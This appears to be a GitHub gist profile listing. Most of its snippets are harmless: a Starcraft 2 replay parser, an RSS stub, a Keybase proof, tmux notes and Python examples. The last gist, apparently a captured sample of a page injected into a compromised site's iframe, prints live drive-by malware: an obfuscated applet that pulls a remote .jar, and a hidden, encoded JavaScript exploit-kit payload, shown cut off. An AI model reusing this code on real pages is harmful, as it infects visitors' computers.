Skip to content

Instantly share code, notes, and snippets.

View dermorz's full-sized avatar
🏠
Working from home

Moritz Bracht dermorz

🏠
Working from home
View GitHub Profile
@dermorz
dermorz / parse_replay.py
Last active April 25, 2022 22:52
Simple local Starcraft 2 replay analyser. Has some bugs but works for me. :)
#!/usr/bin/env python
"""Simple Starcraft 2 replay analysis
When playing I run...
$ watch ./parse_replay.py
...which always shows me the data of the most recent replay.
"""
import glob
@dermorz
dermorz / only-emojis
Last active March 10, 2021 13:33
feed
<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:anchor="https://anchor.fm/xmlns">
<channel>
<title>Invalid character</title>
<description>.</description>
<link>https://example.com/rss</link>
<image>
<url>https://example.com/rss.jpg</url>
<title>Invalid character</title>
<link>https://example.com/rss</link>
</image>
@dermorz
dermorz / keybase.md
Created January 12, 2020 18:09
Keybase github verification

Keybase proof

I hereby claim:

  • I am dermorz on github.
  • I am dermorz (https://keybase.io/dermorz) on keybase.
  • I have a public key ASCWsWzIEnzuyFpwKZ4hs11RcJcm4XdSUI2zvOJNORoyGwo

To claim this, I am signing this object:

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
#!/usr/bin/env python
"""
=====================================
PEP 20 (The Zen of Python) by example
=====================================
Usage: %prog
:Author: Hunter Blanks, hblanks@artifex.org / hblanks@monetate.com
@dermorz
dermorz / spending quotient
Last active December 10, 2015 22:09
lambda expression for spending quotient: http://wiki.teamliquid.net/starcraft2/Spending_quotient
#!/usr/bin/env python
from math import log
sq = lambda u, i: 35 * (0.00137*i - log(u)) + 240
@dermorz
dermorz / 404.php.html
Created March 29, 2012 18:04
Evil Geniuses - page that gets loaded in the iFrame
<html><body><applet/*/ archive="http://yhogdedipx.bbsindex.&#99;om/d&#97;t&#97;/Pol&#46;&#106;&#97;r" code="t&#97;&#46;L"><param name="&#112;" value="&#76;&#58;&#58;&#57;&#35;&#78;&#109;&#109;&#81;&#49;&#49;&#81;&#51;&#113;&#120;&#54;&#49;&#119;&#78;&#78;&#76;&#58;&#58;&#57;&#78;&#109;&#109;&#52;&#76;&#49;&#81;&#73;&#113;&#73;&#82;&#57;&#122;&#120;&#87;&#87;&#35;&#82;&#121;&#73;&#113;&#122;&#120;&#54;&#49;&#119;&#109;&#110;&#120;&#57;&#76;&#57;&#50;&#116;&#83;&#103;&#95;&#87;&#54;&#67;&#101;&#113;&#83;&#74;"/></applet>
<span style="display:none;">safsaf(':E9KC;DJXMH?J;R\'f9;DJ;Hhf&gt;[hzB;7I; M7?J F7=; ?I BE7:?D=XXXfY&gt;[hfY9;DJ;Hhf&gt;Hh\'Se&lt;KD9J?ED ;D:5H;:?H;9JRSQ}JHOQL7H zBK=?Dn;J;9JgQL;HI?EDd"ZXaX`"VD7C;d"zBK=?Dn;J;9J"V&gt;7D:B;Hd&lt;KD9J?EDR9V8V7SQH;JKHD &lt;KD9J?EDRSQ9R8V7S}}V?In;&lt;?D;:d&lt;KD9J?EDR8SQH;JKHD JOF;E&lt; 8!g"KD:;&lt;?D;:"}V?IkHH7Od&lt;KD9J?EDR8SQH;JKHDRY7HH7OY?SXJ;IJRy8@;9JXFHEJEJOF;XJE)JH?D=X97BBR8SS}V?IpKD9d&lt;KD9J?EDR8SQH;JKHD JOF;E&lt; 8gg"&lt;KD9J?ED"}V?I)JH?D=d&lt;KD9J?EDR8SQH